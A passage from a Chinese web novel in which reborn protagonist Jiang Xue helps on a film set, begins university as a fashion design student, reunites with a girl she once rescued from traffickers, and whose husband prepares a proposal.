江雪给她拍了几张，说道：“摄像机里拍的不都会放到大荧幕上去，既然要留念，就拍点摄像机外面的，这叫花絮。”放在二三十年后，有的花絮比正片都值钱。 唐晓曦似懂非懂，江雪没收她的钱，只让她给自己留了个地址，“回头洗出来，给你递过去。” “等回头我再演电影，演电视剧，都叫人给我拍花絮。”唐晓曦高兴地说：“等以后我当了大明星，就把所有的照片放在一起，看着得多壮观啊！” ……以后。 江雪漫不经心的问：“你以后打算一直当演员吗？” 唐晓曦连连点头，“当然了，这可是我从小到大的梦想。以前我只能演个走路的人，走过来，走过去，一句台词都没有。后来演丫鬟，站在小姐身边说‘小姐请喝茶’、‘小姐请坐’、‘小姐说得对’。好多跟我一起的人都放弃了，说没有未来，我偏不信。” 唐晓曦边说便笑，“我上部戏还演了个公主呢，虽然戏份也没有很多吧，但是活到了大结局！” 江雪一时怔然，又听唐晓曦喜滋滋的说：“这部戏我就演女主角了，以后再有人找我拍戏，我就说我演过女主角，他们一听，肯定觉得我很厉害，说不定就也叫我去演女主角了。” 她站在树荫下期许着未来，明亮的阳光穿透树叶落下，在她身上洒下星星点点的光芒。 江雪心想，自己总不能上来就问人家是不是打算结婚吧？然后再劝人千万千万不要结婚？ 这未免也太冒昧了。 还在犹豫，另一边的导演从监视器后抬起头，举起大喇叭喊：“下一场，该谁了？” 唐晓曦把剧本一甩，“我！” 江雪看着她蹦蹦跳跳的跑向拍摄场地，举起手中的相机，“咔嚓”一声，留下了一道奔向光明的背影。 * 拍戏的事江雪插不上手，关嘉言已经将台词背的很熟练，有表演老师在，不管是情绪还是走位，全都一点即通，拍摄过程相当顺利。 到了第三天，关山越从海市打来电话，告诉她国立纺织大学的录取通知书寄到了家里，按照江雪走之前的吩咐，他已经打开看过，确实是服装设计专业。 江雪彻底放下心来。 等挂了电话，她考上大学的事情也在剧组里传开了。 消息嘛，自然是关嘉言听到舅舅的话后喜不自胜的喊了一句，正好被路过的冯康平听到了。 “不得了，我们剧组出了个大学生。”冯康平开玩笑道：“快去买袋糖，也让我们沾沾喜气，回头家里也出个大学生！” 江雪当然不吝啬，打电话给镇上的供销社，让他们送来了一百多瓶冰镇汽水分给大家。 唐晓曦是听到消息后最意外的那个，她震惊道：“你考上大学了？”想了想，觉得自己的这句话有问题，又改口道：“不对，你几几年的？” “我72年的。”江雪笑眯眯的解释，“今年二十二了，是以社会考生的身份参加的高考。” “我71年的！”唐晓曦反应过来，“那你应该叫我姐！我还以为你比我大呢！” 江雪依旧笑眯眯的，唐晓曦把脸贴在冰镇汽水的瓶子上缓解暑热，“言言叫你舅妈，你真的是他舅妈啊？” 江雪笑了，“这还能有假？” 唐晓曦说：“我看你长得挺年轻的，一直没敢问，原来你真的结婚这么早啊！” 江雪也拿了瓶汽水在手里，闻言笑了笑，避开了这个话题，转而问她道：“你呢？现在还是单身？有结婚的打算吗？” “没有。”唐晓曦摇摇头，似乎遇到了什么难题，叹气道：“我不想结婚，我觉得现在就挺好的，能到处跑来跑去的演戏，谁知道结了婚会变成什么样呢。要不是我爸妈……” 她的声音渐渐低了下去，最后几个字几乎听不到，江雪疑惑道：“要不是什么？” “没什么。”唐晓曦又重新振作起来，依旧是那副生机勃勃的模样，举起自己的汽水瓶道：“大学生，来跟我干杯！”—— 作者有话说：[害羞] 第四十四章 噢~原来你想我了啊！…… 余下来两天, 得知江雪考上了国立纺织大学，学的还是服装设计，剧组上下立马热情邀请她客串一把服装师, 冯康平还叫人给她开了两天的工资。 服装设计师和服装师, 二者不说是天差地别，基本属于毫无关系。 不过盛情难却, 江雪没有拒绝，就当是自己在积累工作经验，到时候她就是那种应届毕业, 但工作经验好几年的人。 唐晓曦繁忙之余还不忘凑热闹, 看着江雪熟练的穿针引线, 双手交叉, 托着下巴道：“真想不到你还会做衣服。” 江雪失笑, “我还做过裁缝呢。”虽然只做了几个月。 唐晓曦上上下下的扫了她一眼, 感叹道：“真不像, 我一直以为你是坐办公室的。” 说得倒也没错, 她上辈子勉强算是坐办公室的。 江雪把衣服改好, 递给她, “穿上试试。” 唐晓曦饰演的女主是一个从城市里来的大小姐, 所以她的戏服，剧组尽可能的找了当下最流行的款式。时间原因，江雪不可能给她现做两套衣服出来, 只不过是把剧组找来的衣服改的更贴合唐晓曦本人的身材。 换好衣服, 唐晓曦美滋滋的照镜子, 顺便畅想未来，“江雪，你说等电影上映, 会不会满大街都是晓曦装？” 唐晓曦几年前看过一部电影，电影里的女主角换了足足十几套衣服，电影刚放完，那些衣服就全都卖断货。唐晓曦也想买一件，可她没钱没布票，心心念念了好久也没能穿上。 等她以后成了大明星，就想穿什么衣服就穿什么衣服。 江雪顺手拿出纸笔递给她，捉狭道：“那就请大明星先给我签个名吧。” “好说好说。”唐晓曦大笔一挥，在笔记本上留下了自己的名字。 见她丝毫没有防范的意识，江雪顺口提了一句，“以后再有人找你签名，最好签在照片上，如果是白纸，就不要签了。” 唐晓曦疑惑，“为啥啊？” 江雪打了个比方，“万一你在纸上签了字，他转头在上面写你欠他多少多少钱，这张纸不就成了欠条？” 唐晓曦果然吓了一跳，“还有这种事？”仔细一想，又觉得江雪说的不无道理，连连点头道：“你说得对，我记住了。” 换好衣服，唐晓曦等着导演叫她过去，江雪也没什么事，随手拿过笔记本，在上面勾勒出线条。 唐晓曦看了会儿，站起来转了转，屁股刚挨上凳子，又开始抓耳挠腮。 她是个话痨，嘴巴根本闲不住。江雪看她坐立难安的模样，忍俊不禁道：“你想说什么？说吧。” “嘿嘿，你怎么知道我想说话？”唐晓曦吐了吐舌头，“其实我就是想问问，你穿的衣服都是自己做的吗？” 江雪摇头，“不全是。”大部分时间她是会懒得动手的。 “怪不得我都没见过。”唐晓曦用手杵着下巴，语气闲散，“我还以为又是海市那边的新款。去年秋天，京市突然开始卖什么公主帽子，就说是从海市传过去的。我也买了一顶，好看是好看，就是不知道穿什么衣服配它。” 江雪：“……” 什么衣服，当然是洛丽塔！可惜乔亚楠开始专心做童装之后，和帽子一起画出来的两条裙子的设计图也被彻底搁置，还不知道什么时候才能重见天日。 唐晓曦对服装设计一知半解，但她看过不少杂志，于是她问江雪，“以后是不是能在杂志上看到你设计的衣服？” 江雪：“可能吧。”她还没想那么多。 “还有时装秀。”唐晓曦的想法一个接一个，说是天马行空也不为过，“我上初中的时候，还听说海市服装公司的时装表演队来京市演出呢！” 服装表演队？ 江雪闻所未闻，她只听说过大名鼎鼎的维密秀，国际超模，还有各大奢牌的秀场活动，只不过每次刷到的都是明星通稿，还要特别标注穿的衣服是…… 江雪灵光一闪，看向唐晓曦，“晓曦，等你以后当了大明星，就穿我设计的礼服去走红毯，怎么样？” “走红毯？” 江雪：“就是参加电影节。” 唐晓曦第一时间就想到了去年有部电影参加了国外的电影节，几个主演的照片登在报纸上，听说在国外都引起了震动。她特意把照片从报纸上剪了下来，压在自己书桌的玻璃下。 “电影节？”唐晓曦难得迟疑起来，“我？我能行吗？” “当然可以。” 经过这几天的旁敲侧击，江雪了解到唐晓曦现在还是单身，按照上辈子的时间线看，《山外山》将在明年十月上映，也就是说还有一年的时间。 这一年中到底发生了什么，让唐晓曦的思想发生了天翻地覆的额变化，江雪不得而知。 上辈子的唐晓曦自揭伤疤为姜衡澄清，不过就算没有这件事，经过这几天的相处，江雪也很难眼睁睁看着她像上辈子那样滑落深渊。 江雪把笔记本翻到唐晓曦刚刚签名的那一页，“咱们立个字据，就写唐晓曦成为大明星后，一定会穿着江雪设计的礼服参加电影节。” 希望有这句话在，唐晓曦能坚守本心，不会突变恋爱脑。 唐晓曦提起笔，一笔一划的在签名上方空白处写下一行字。江雪定睛一看，她写的是—— “大明星唐晓曦，大设计师江雪，一起参加电影节！” * 关嘉言的戏份拍摄结束，江雪三人先行离开剧组返回海市。 离开不过一个多星期，却有种隔了很久的错觉。江雪深呼吸一口气，发现是因为海市刚下过雨，空气凉爽，温度适宜。 往前走了两步，关山越再次神不知鬼不觉的出现在了他们身边，接过行李。 关嘉言从出站开始就四处张望，把一直都戴在头上的冯康平送他的草帽都摘了下来，还是没看到舅舅是什么时候走过来的。 “舅舅！”几天不见，关嘉言十分想念舅舅，忍不住抬高手臂想要抱抱，“舅舅，我好想你啊！” 关山越在他脑袋上揉了揉，手劲之大，把关嘉言揉的左右乱晃，连忙放下手臂站稳了。 方曼任务完成，直接从车站离开去公司报到，和他们分道扬镳。 关山越开了车来，先打开后车门。经历过手扶拖拉机的颠簸后，关嘉言欢呼一声就扑了进去。江雪紧跟着要弯腰上车，却被关山越一把搂住往后退了退，车门砰地一声在面前关上。 江雪转身，与一脸不虞的关山越四目相对，忍不住笑了笑，轻声道：“干嘛？不许人上车？” 关山越一手扶在她后腰上，一手越过她的肩膀撑在车顶，幽深的目光从她眼睛上一寸寸散开，光洁的额头，鼻子，红润的唇，像是要把她整个人都镌刻进眼底。 关山越靠近她，呼吸交缠，低声问：“你怎么不说？” “说什么？”江雪明知故问。 关山越果然上钩，“说我想你。” 江雪眼底的狡黠一闪而过，欣然道：“噢~原来你想我了啊！” 关山越：“……” 逗完人，该给的糖也不能少。江雪笑过后，扶着他一边肩膀，踮起脚，在他脸颊落下轻轻一吻，喟叹道：“我也想你。” 关山越扶在她腰上的手猛然收紧，江雪撩完就跑，像捏关嘉言一样捏了捏他的脸，得意道：“别愣着了，快回家，我要吹空调！” * 国立纺织大学的报道日定在九月十日之前，关嘉言幽怨的抱着小书包，一步一挪的往校门口走。 为什么舅妈也要去学校，却说过几天才开学？ 关嘉言想不明白，但他得出一个结论——还是当大人比较好！ 进校门前，关嘉言依依不舍的问：“舅妈，我什么时候还能去演电影啊？” 上辈子的姜大强和徐秀兰从《山外山》剧组尝到甜头之后，就开始到处打听哪里需要小孩演戏。他们无头苍蝇似得四处乱撞，还真让他们找到了路子，一家无良的经纪公司看中了姜衡，与姜大强、徐秀兰一拍即合，最终导致姜衡勉强读完初中后就辍学。 姜衡是明星，有喜欢他的人，自然也有不喜欢他的人。不喜欢他的人常用这件事来嘲笑他，姜衡却并不避讳，反而坦然承认，还公开表示自己最后悔的事就是没能好好读书。 后来他以粉丝的名义创立助学基金，也是出于这个原因。 他不希望同样的遗憾发生在别人身上。 既然重来一次，江雪自然要弥补这个遗憾。轻轻抚上关嘉言的肩膀，江雪呵呵一笑道：“乖，打打暑假工就行了。” 没等关嘉言反应过来，江雪又问：“你不是专门带了照片要给薇薇看吗？” 在剧组拍的照片已经全部洗了出来，出于保密，关嘉言拿的只是他和手扶拖拉机的合影。 关嘉言果然被转移了注意力，乖乖点头，“嗯，舅妈，我去上学了。” 目送他走进学校大门，江雪松了口气，招手在路边打了个车。 她还要去参加乔亚楠服装店的开业仪式。 现在还没有普遍的商业街，乔亚楠的服装店开在百货大楼里，名字取得简洁，就叫“童心服装店”。 江雪到的时候，仪式已经开始。 锣鼓喧天、鞭炮齐鸣，舞狮队前后舞动，热闹的表演很快吸引了不少观众，店员趁机拿着喇叭喊出新店开业，全场第二件半价。 江雪提前叫人送了开业花篮过来，看了会儿表演后，才走进百货大楼，上楼找到店铺，去和乔亚楠打招呼。 乔亚楠忙得脚打后脑勺，但看到是江雪，还是一把拽住了她，喘了口气说：“真不好意思，你看我忙得什么都顾不上了。这样，我找个人来，你看中哪件就跟她说，就当我送言言的开学礼物。” 江雪失笑，“言言现在穿的哪件衣服不是你送给他的。” 乔亚楠爽朗一笑，“也是，我这店里，至少一半的衣服都出自你的手。” 童心服装店的店面铺的很大，除了乔亚楠服装厂自己的衣服，还特意找人去港城运了一批新货。 “老板，这件衣服的码数没有了！” 正说着，那边有人大声叫乔亚楠过去。江雪拍拍她的手臂，“你去吧，我自己逛逛。” “那怎么行。”乔亚楠顺手从旁边捞来一个人，“让她给你好好介绍介绍。”又看向那人道：“好好陪着，等会儿我就回来。”最后还在她耳边悄声说了句，“不许收钱。” 乔亚楠急匆匆的走了，江雪转过头，正要说不用特意陪着自己，就见面前的人突然惊喜的瞪大了双眼，“是你！” 店里的营业员穿着一模一样的衣服，江雪的视线落在她脸上，确实有几分熟悉，但实在想不起是谁，不仅面露茫然，“你是？” “是我啊！”女生一把撩起了自己的刘海，“我！春丫！” 第四十五章 你害羞了？ “春丫？”江雪也吃了一惊, 上下打量着面前的人，“你，你怎么在这儿？” 春丫留了长头发, 扎了个干净利落的高马尾, 脸比两年前略瘦了些，但弯起眼睛一笑, 还是两年前的模样，“我在乔老板服装厂打工，她问有没有人愿意来店里当营业员, 我报了名, 就来了。” 江雪听乔亚楠跟她提过, 因为厂里基本上都是女工, 她就让各个线长告诉手下的人, 厂里要开服装店, 需要营业员, 只要认识字, 觉得自己放得开, 能说会道的, 都能报名竞选。 江雪由衷道：“那你一定很厉害。” 在商场干营业员, 不用三班倒，不用上夜班，站累了还能歇一会儿, 比起流水线不知道好多少, 愿意报名的人一定很多。春丫能从中脱颖而出, 可见是下了大功夫的。 春丫放下刘海，用手梳了梳，闻言不好意思的嘿嘿一笑, 对江雪道：“姐，我都没来得及谢谢你，当初在火车站，要不是你帮了我，说不定我就叫人给拐走了。还有在火车上的时候，我后来才知道你还特意托乘务员照看我，我真是，真是遇见好人了！” 为了抓玉姨团伙，江雪和关山越中途下了车。江雪见春丫自己一个人，又是第一次出远门，有心眼，但不多，就在下车前跟负责他们那个车厢的乘警打了声招呼。 乘警知道她是要去配合警察抓人贩子，敬佩之余，自然把她的话放在了心上，一路上对春丫多有关照，不仅抓住了偷她的钱的小偷，火车抵达海市后，还给她指了路，告诉她要去哪里找工作，需要什么手续。 回想起以前，春丫不由得红了眼眶，眼泪夺眶而出。只是萍水相逢的人都对她这么好，明明和她血脉相连的亲人的人却对她各种算计。 春丫用手抹去眼泪，哽咽道：“对了姐，我还不知道你叫啥呢。” “江雪。”江雪一边替她擦去眼泪，一边没忍住笑，她当初真是警惕心拉满，从始至终没告诉春丫自己的名字，“江水的江，下雪的雪。” “那我以后你就叫你……” 江雪赶紧打断她，“叫我江雪就行，不用喊姐了。”怕春丫不同意，又赶紧补充了一句，“其实我跟你差不多大，叫姐反而把我叫老了。” 春丫终于破涕为笑，点了点头，“我听姐的。” 店里人流量大，江雪和春丫没聊太久。 况且江雪知道她们和国营商店拿死工资的营业员不一样，除了基本工资，是按卖出去的衣服件数算提成的，开业第一天来的人多，正是她们赚钱的好机会。 “你快去忙吧。”江雪催促她道：“我去找你们老板。” * “春丫？”乔亚楠忙了一上午，到了中午吃饭的点，终于闲下来一会儿，江雪拉着她出来吃饭。 江雪说：“就是你拉来给我做介绍的那个营业员。” “是她啊。”乔亚楠反应过来，撑着头叹了口气，“我知道她，她身份证上的名字是王招娣，但她不愿意让人叫她招娣，谁叫跟谁急，一开始大家都叫她春丫，后来我跟她说‘丫’字不好听，让她改成‘芽’。” “春芽。”江雪重复了一遍，笑道：“这个名字不错，一听就有生气。” “叫什么都比招娣好听。”乔亚楠哼了声，又纳罕道：“怎么？你认识她？” “也算是机缘巧合。”江雪把自己遇到人贩子，设计抓住人贩子的事告诉了她。 乔亚楠听的一惊一乍，忍不住连连惊呼，“你这……你胆子也太大了，这种事也敢冒头，你就不怕……”她比了个抹脖子的手势。 “一开始也是怕的。”江雪说：“可当我发现还有两个跟我差不多年纪的女孩子被他们关着，就只想怎么样才能把他们全都抓起来了。” “真了不起！”乔亚楠朝她比了个大拇指，突然想起什么似的，开口道：“等等，我记得去年报纸上还说了这件事，说是特别感谢热心群众江女士和关先生，原来那个江女士就是你啊！” 江雪含笑点头，乔亚楠一拍大腿，“哎呀，我都不知道自己身边还有这么个名人，有酒没？我真该敬你两杯！” 江雪赶紧举起茶杯，连声道：“以茶代酒，以茶代酒。” 吃饱喝足，乔亚楠还要继续回店里。临走之前，她对江雪道：“说起来，既然春芽跟你认识，不知道她的事你知道多少。” “怎么？”江雪朝她投了个疑惑的目光。 乔亚楠拍拍她的肩膀，“回头你问问她吧，这姑娘，老实，能干，待人实诚，骨头也硬着呢。” 他乡遇故知，还有称得上是过命的交情，实在是缘分。江雪把家里的电话号码留给了春芽，嘱咐她记得联系自己。 春芽又要哭，一双大眼睛忽闪忽闪的，带着哭腔道：“姐，你对我真好。” 江雪在她后背轻轻拍了拍，“好好努力，等你升职加薪。” 春芽狠狠点头，“到时候我请姐吃饭，还有大哥，还有……还有那个小孩。” “嗯嗯。”江雪听着她可汗大点兵，也跟着点头，“好，一言为定！” * 江雪惦记着乔亚楠的话，但春芽迟迟没给她打电话。 还是乔亚楠顺嘴提了一句，“店里现在竞选副店长呢，春芽业绩最好，跟客户的关系也搞得不错，我打算再考察她几天，行的话就带着她慢慢上手。” 知道她忙，江雪就没去打扰，赶在开学之前去新开的商场逛了一圈，没找到确切的防晒霜，最后只能挑了几瓶应该有防晒效果的护肤品回家，并默默祈祷军训的时候一定会下雨。 江雪赶在最后一天拿着录取通知书去学校报道，主要是办理各种手续和分配寝室，认识校园，记住各个教学楼的位置，第二天才算正式开学。 跟她一起来报道是关山越，听到“寝室”两个字后就拧眉不语，直到走远了一些，才开口道：“大学还要住校？” 江雪早就发现他脸色不对，没想到他憋了这么久才问，玩笑心起，故意皱起眉头，拖长声音说：“按理说，确实是要住校的。” “但是……”等到关山越慢慢拉直嘴角，江雪又话锋一转，握住他的手，将手指慢慢插入指缝，和他十指相扣，语气都轻松许多，“但是可以打申请，我有家有口的，总不能让亲爱的老公独守空房。” 关山越像被呛到一样，以拳抵唇，低着头咳了起来，什么亲爱的、什么老公，在房间里喊得还不够多吗？ 江雪弯腰探头，从下往上看他，笑眯眯的问：“你害羞了？” 关山越无奈，却也握紧她的手，大拇指缓缓摩挲她的手背，“我怕你在学校不习惯。” 江雪知道他想说的不是这个，刚刚在报到处，关山越特意站的离她远了些，连和她说话都是走远了才说，明明是担心其他人知道她已婚的身份，会对她产生异样的眼光。 “我本来就比他们大三四岁，不都说三岁一代沟。”江雪满不在乎道：“都不在一个年龄段。” 关山越又沉默了，江雪晃了晃两人交握的手，“怎么了？” “三岁一代沟。”关山越危险的压低声音，“那五岁呢？” 江雪：“……”糟了，怎么忘了这茬。 “这个嘛。”她眼珠一转，松开关山越的手，退后半步，然后猛地一个起跳。 关山越早有预料，稳稳接住了她。 江雪伏在他背上，带着几分笑意的声音就落在耳边，“五岁？五岁正好和我领结婚证。”—— 作者有话说：春芽未来会和谁成为好朋友呢？[狗头] 第四十六章 日常 江雪去办公室找辅导员提交了自己的外宿申请。 现在对大学生的在校管理还是比较严格的, 毕竟不像未来那样人人都有手机，随时随地都能打电话发消息，一旦出了校门, 除非提前说了自己要去哪儿, 否则很难联系得上。 不过在江雪出示了自己的结婚证和户口本后，申请很快得以通过。辅导员拿出一张表, 让江雪登记自己的现住址和联系方式后，总算把“走读证”办了下来。 唯一不便的地方，就是上辈子时习惯了学校里的大事小事都通过手机群聊通知, 现在靠的全是口耳相传, 也就是老师先把消息告知班委, 班委再以寝室为单位通知到每一个人。 难怪这个年代的大学生们, 哪怕过了十年二十年, 依旧感情深厚, 能够聚在一起开同学会。 离开办公室之前, 辅导员叮嘱了她一句, “今天下午两点, 到三教学楼303开班会。” 一般情况下, 新生入校后的前两个星期, 会有上一届的学长学姐代领班长一职，负责传递消息。但江雪不住校，消息不一定能传到她耳朵里, 辅导员便提了一嘴。 江雪点点头, “谢谢老师, 我知道了。” * 今年是国立纺织大学服装设计专业设立的第二年，比去年多开设了一个班，两个班加起来一共五十人, 其中女生三十五人…… 讲台上的辅导员热情洋溢的做着专业介绍，江雪盯着他背后的黑板，心想这里应该有一块可以放PPT的白色幕布，辅导员发表讲话的时候，还应该有人来回走动，拿着手机拍照。 江雪想的出神，忽然，面前落下一个纸团。循着纸团飞来的方向看去，一个留着齐耳短发的女生正眉眼弯弯的看过来，用手指了指纸团，又指了指江雪，用口型道：“给你的。” 江雪捡起纸团，同时回忆着刚刚做自我介绍时，女生说自己叫…… “我叫崔丽丽。” 江雪看到纸条第一句就笑了，崔丽丽的字写的很大气，和她的甜美可爱的长相一点儿都不匹配。 “我旁边穿白衣服的女生是方娟，我们三个在同一间宿舍。” 短短两句话，江雪看完就明白了。 国立纺织大学的宿舍八人一间，三十五个人平均分配，她们刚好是被剩下的三个，被调配到了上一届的学姐宿舍混住。 崔丽丽和方娟在同一天报道，互相认识后还去隔壁宿舍串了串门，很快和班里的其他女生熟悉起来。 为了方便宿舍管理，床铺围栏上贴的有名字，崔丽丽和方娟一直等着江雪来，结果一直等到开学，属于江雪的那张床都还空着。 崔丽丽：“我们还以为你没有来报道呢。” 开完班会，江雪和崔丽丽、方娟一起下楼。 江雪说：“我申请了外宿。” “原来是这样。”崔丽丽想了想问：“哎？那你的床以后还会留着吗？会不会有其他人住进来？” “应该不会吧，宿舍不都已经安排好了。”方娟跟着说。 江雪只能诚实的摇摇头，“我不知道，不过我还是交了宿舍费的。” 崔丽丽很快又想起另外一件事，“江雪，你不住宿舍的话，以后学校里有什么事，要怎么通知你？” 这个问题江雪在班会的时候就想过了。 “我刚把课表抄了一份，咱们的课还是挺多的，就算不住宿，我还是要天天来学校，应该不会错过什么消息。”江雪说：“要是有急事，辅导员那儿也有我的联系方式。” “那我们也留个你的联系方式吧。”方娟提议，“宿舍有公共电话，回头要是要什么事，我和丽丽也能告诉你一声。” “嗯嗯。”崔丽丽连连点头，“你要是要什么事，也能打宿舍电话找我们。” 未来还有四年的时间要相处，打好关系是必须的。江雪朝她们展演一笑，“那就谢谢你们了。” * 接下来便是军训，江雪每天早出晚归，累的胳膊都抬不起来。接送关嘉言上学的任务就落在了关山越身上，要是他没时间，就派自己的助理小胡去，接到关嘉言后把他带去公司。 没过几天，江雪就从小胡口中得知，关嘉言在公司里混的风生水起，每天都有吃不完的零食，不敢拿回家，全都藏在了关山越的办公室里。 江雪听的直笑，怪不得关嘉言这几天回家都不好好吃饭，原来是吃饱了。于是当天吃晚饭的时候，她特意坐在了关嘉言身边。 等到关嘉言随便扒了两口饭就想跑的时候，就被江雪一把给拉住了，“言言，怎么才吃这么一点儿？你不是最喜欢舅舅做的红烧肉了？” “我……我吃饱了。” “嗯？”江雪略略沉下脸，让自己的表情变得比平时严肃，“真的吗？” 关嘉言默默低下了头。 关嘉言不善于撒谎，很快就老老实实的承认自己吃了零食，并供出了零食存放的位置。江雪引导他说：“接受别人的好意，言言应该怎么做？” “要说谢谢。”关嘉言乖乖背着手说：“舅妈，我跟姨姨、姐姐，还有叔叔说谢谢了。姨姨、姐姐，还有叔叔跟我说不客气。” “言言做得对。”江雪又说：“除了要说谢谢，大家把自己的好吃的分享给你，你是不是也要把自己的好东西分享给大家？” 关嘉言恍然大悟，“我知道了，我不该把零食藏起来，应该分给姨姨和姐姐。”说完，又补充了一句，“还有叔叔。” “乖，去玩吧。”江雪屈起食指刮了刮他的脸。 关嘉言看了会儿电视，又想起来自己拍的电影，“舅妈，电影可以看了吗？” “要明年的这个时候才能看。”江雪想起来要打电话给唐晓曦，问问她什么时候回京市，自己好把照片给她寄过去。 明年对关嘉言来说是个相当遥远的概念，他故作深沉的叹了口气，“要是睡一觉就是明年该多好啊！” “说得对。”江雪顺势接上话，“你现在就该去睡觉了。” 关嘉言的小脸顿时更加深沉。 江雪又叮嘱关山越看好关嘉言，不许他吃太多零食。 说这话的时候，江雪的两条腿都搁在他身上，说完还屈起小腿，用脚尖踢了踢他，“听到没有？” “听到了。” 关山越往手心里挤满护手霜，涂抹均匀后开始为江雪按摩腿上的肌肉。 江雪从不锻炼，军训第一天还不觉得有什么，睡了一觉后才发现自己浑身上下哪哪都疼，尤其是两条腿，几乎可以本色出演刚从大海上岸的小美人鱼。 关山越的手掌很大，只有一只手就可以完整握住江雪的脚踝，因为常年训练，掌心满是老茧，从皮肤上摩挲过去，带着些许痒意，随着缓慢且有力的按压，掌心的热度一点点渗透进皮肤…… 江雪放松的倒在枕头上，很快便昏昏欲睡。 半梦半醒间，她感觉到关山越捏着她的手翻来覆去的看，好像还在她指头上缠了什么东西。 “干什么？”江雪咕哝了一句，想要抽回自己的手。 “没事。”关山越扣着她的手，俯身过来，在她额头亲了亲，“睡吧。” 江雪彻底睡死过去。 * 转天，关山越问她军训什么时候结束。 “明天。”江雪长舒一口气，“终于要解放了。” 终于熬完了为期半个月的军训，除了有几天晴转多云，硬是一滴雨都没下，等到军训结束当天，反倒淅淅沥沥的下起了小雨。 江雪和崔丽丽、方娟冒雨小跑到餐厅，崔丽丽站在门口看了看天，眉头紧皱，埋怨道：“早不下晚不下，偏偏这时候下。” 方娟跟着叹气，但比她乐观一些，“我看下的也不是很大，可能下一会儿就不下了吧。” “要是这场雨能早下几天就好了。”江雪也觉得这雨下的不是时候。 三人排队打饭，在人山人海的餐厅里好不容易找到位置坐下。 “对了，江雪。”崔丽丽问：“要不你今天晚上就住在学校吧，你的那张床还空着，我那有多余的被子……” 江雪不解，“今天晚上是有什么事吗？” 她不记得课表上有什么课是晚上要上的，更何况明天是周六，他们下周一才会正式上课。 “你不知道？！” 崔丽丽和方娟齐声道，见江雪摇头，又对视一眼，“好吧，看来是你的消息不灵通。” 崔丽丽说：“学校今天晚上要在青年广场举行新生欢迎会，每个专业都要出节目。” “咱们专业也有。”方娟补充道：“是时装秀，衣服都是上一届的学姐和学长们自己设计的。江雪，一起去看吧！” 江雪想起自己上辈子上大学的时候，也有新生欢迎会，只不过那时候大家都有手机玩，对此类活动兴致平平，需要用学分诱惑，才会有人愿意参加。 江雪被她俩兴致勃勃的样子带动，点头答应下来，“好，不过我不用住宿舍，等会儿我打个电话，叫人等活动结束来接我就行。” “新生欢迎会结束还有舞会呢。”崔丽丽劝她，“等结束都十一点了，今天情况特殊，宿舍关门晚，学校大门肯定早就关上了。” “……舞会？” * 此时此刻，关山越看着营业员用丝绒盘子托出来的钻石戒指，对比自己量好的尺寸，点点头道：“包起来吧。” 营业员喜不自胜的去开票。 关山越拿在手里的大哥大响了两声，他接起来，是小胡的声音。 “老板，烟花都买好了，您看放在哪里合适？”—— 作者有话说：[害羞] 第四十七章 求婚 江雪对当代大学生丰富多彩的夜生活表示欣赏。 多好啊, 还有舞会。不像她，上辈子她闲的没事只会躺在床上刷手机。 唉，说起手机…… 江雪刚有些离愁别绪, 兜里的传呼机就响了起来。会通过传呼机联系她的人不多, 江雪低头扫了眼，是关山越。 饭后, 崔丽丽和方娟回宿舍换衣服，江雪和她们一起。军训要穿统一服装，她每天穿着自己的衣服来, 在宿舍换过衣服去军训, 结束后再换回来。 换好衣服, 江雪对两人说了一声, 去宿舍楼下, 用那里的公共电话给关山越回电。 电话响了两声后接通, “喂？” “刚好要给你打电话。”江雪倚靠在墙上, 手指不自觉的缠绕起电话线, “学校今天举行新生欢迎会, 你让小胡八点再来接我, 还在老地方。” “好。”关山越那边听起来很热闹。 江雪猜他应该在忙, 曲兆兴在海市新开了一家五层楼的商场，再次和安泰签订了整整五年五年的业务。只不过这次曲兆兴要求在商场安装监控，也就是闭路电视, 关山越最近一直在忙这件事, 还特意从大学里请了几个专家做技术指导。 江雪问他：“对了, 你找我什么事？” 关山越离嘈杂的声音远了点，“没什么事，就是想问问你什么时候回来。” 江雪唇边漾起一抹自己都没意识到的笑, 她有点儿理解那些陷入热恋中的情侣为什么总有聊不完的天了。 只可惜刚开学没多久，排队打电话的人很多，有些话不好意思当着别人的面说，又聊了两句后，江雪只能遗憾的挂了电话。 新生欢迎会六点开始，九月份的天气，太阳还没彻底下山，好在下了一场雨，扑散了空气中翻涌的热气，刮起的一点儿小风也刚刚好。 刚过五点，崔丽丽就催促起来，急着要去青年广场前排占位置。 崔丽丽急的直跳脚，“去晚了就没有好地方了。” 事实证明，对这场新生欢迎会感兴趣的人不止崔丽丽和方娟。她们到的时候，青年广场已经来了不少人，场内的凳子都已经占满了，最后只在角落里找了个地势稍高的位置，能够完整的看清舞台。 欢迎会上的节目和后来大学的迎新晚会没有太多区别，多是歌舞表演，也有别出心裁的小品，逗的人开怀大笑。 服装设计专业的时装秀排在中间位置，主持人刚报完幕，崔丽丽就兴奋的叫了出来，叫的人不止她一个，江雪还听到有人大喊“徐琳琳”。 徐琳琳是谁？ 音乐响起，身着时装的模特踩着节拍走出来，江雪摁下心底的疑惑，聚精会神的看向舞台。 ……时装秀只有一首歌的时间，江雪在不知不觉的中看人入了神。 天下英雄如过江之鲫。江雪想，她之前做裁缝时的衣服，还有和乔亚楠的合作，不管是公主帽子，亦或者是后来的童装，都是站在前人——站在后人的肩膀上。 而舞台上的那些设计，用三十年后的眼光去看，或许会觉得不过如此，但当江雪真正站在这里时，才能从方方面面体会到那些设计本身所体现的出来的，独属于这个时代的开放和锐意进取。 崔秀秀和方娟更是激动的满脸通红，兴奋道：“那件裙子好漂亮！” “是不是第一条礼服裙！我知道我知道，那是徐琳琳的作品！” “不知道明年的我能不能也设计出那样好看的衣服。” …… 两人七嘴八舌的说了好一会儿，直到下一个节目开始，才意犹未尽的住了嘴。江雪趁机压低声音，问出了那个自己一直想问的问题，“徐琳琳，是谁啊？” “我们学姐。”崔丽丽同样压低声音，用两个才能听到的气声说：“她还跟我们住同一间寝室呢。不过我还没见过她，听说她要参加全国青年服装设计大赛，一开学就跟学校申请出去住了。” 江雪敏锐的从她的话里抓住了重点，“全国青年服装设计大赛？” “是服装公司开办的比赛。”崔丽丽伸出手，比了个三的手势，“第一名能拿到三千块的奖金呢！” 方娟也跟了一句，“徐琳琳她爸就是服装公司的设计师，大家都说她设计出来的衣服早就被服装公司生产出来，说不定我们身上穿的就是。” 江雪明白了，这是个大家都知道的天才。 欢迎会很快结束，崔丽丽和方娟还要去舞会。江雪婉拒了两人的邀请，“我还是算了，我从小五音不全，四肢不协，跳舞只会左脚绊右脚。” “那好吧。” 崔丽丽和方娟见她确实不打算去，也就没有强求，手牵手道：“那我们就自己去玩了。” 江雪朝两人摆摆手，“去吧。” * 